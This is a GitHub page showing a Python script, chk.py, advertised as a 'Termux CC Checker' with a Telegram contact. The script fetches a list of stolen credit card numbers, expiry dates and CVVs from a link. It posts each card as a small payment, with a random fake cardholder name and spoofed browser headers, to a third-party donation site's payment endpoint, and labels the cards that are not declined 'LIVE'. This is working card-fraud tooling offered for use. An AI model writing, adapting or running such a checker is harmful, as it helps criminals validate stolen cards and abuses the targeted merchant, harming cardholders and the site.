-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy pathchk.py
More file actions
82 lines (71 loc) · 2.66 KB
/
Copy pathchk.py
File metadata and controls
82 lines (71 loc) · 2.66 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import random
import string
import asyncio
import httpx
import colorama
import sys
colorama.init(autoreset=True)
sys.stdout.write(f'''{colorama.Fore.BLUE}
░█▀▀█ ░█▀▀█
░█─── ░█───
░█▄▄█ ░█▄▄█
░█▀▀█ ░█─░█ ░█▀▀▀ ░█▀▀█ ░█─▄▀ ░█▀▀▀ ░█▀▀█
░█─── ░█▀▀█ ░█▀▀▀ ░█─── ░█▀▄─ ░█▀▀▀ ░█▄▄▀
░█▄▄█ ░█─░█ ░█▄▄▄ ░█▄▄█ ░█─░█ ░█▄▄▄ ░█─░█
Welcome To Termux CC Checker.
Contact me on tg @Xbinner''')
async def grab():
CC = input('\nlink combo➾ ')
async with httpx.AsyncClient() as client:
cards = await client.get(CC)
cc = cards.text.split('\n')
return cc
async def check(CCN, MM, YY, CVV):
letters = string.ascii_lowercase
First = ''.join(random.choice(letters) for _ in range(6))
Last = ''.join(random.choice(letters) for _ in range(6))
Name = f'{First} {Last}'
async with httpx.AsyncClient(http2=True) as client:
headers = {
"user-agent":
"Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.0.0 Mobile Safari/537.36",
"accept": "*/*",
"origin": "https://tdwinternationalngo.online",
"referer":
"https://tdwinternationalngo.online/make-payment/donate.php",
"accept-language": "en-US,en;q=0.9",
"content-type": "application/x-www-form-urlencoded; charset=UTF-8"
}
payload = {
"cardnumber": CCN,
"ccexp": f"{MM}/{YY[2:]}",
"cardcvc": CVV,
"ammount": 1,
"cardholdername": Name,
"mode": "creditcardpayment",
}
r = await client.post(
'https://tdwinternationalngo.online/make-payment/ajaxsub.php',
headers=headers,
json=payload)
if 'Payment Failed' in r.text:
sys.stdout.write(
f'{colorama.Fore.RED}DEAD➾ {CCN}|{MM}|{YY}|{CVV}\nRESULT⟹ {r.text}\n'
)
else:
sys.stdout.write(
f'{colorama.Fore.GREEN}LIVE➾ {CCN}|{MM}|{YY}|{CVV}\nRESULT⟹ {r.text}\n'
)
async def main():
tasks = []
CARDS = await grab()
sys.stdout.write(f'{colorama.Fore.BLUE}TOTAL CC: {len(CARDS)}\n')
for x in CARDS:
CCN, MM, YY, CVV = x.split("|")
try:
tasks.append(await check(CCN, MM, YY, CVV))
await asyncio.sleep(3)
await asyncio.gather(*tasks)
except:
pass
asyncio.run(main())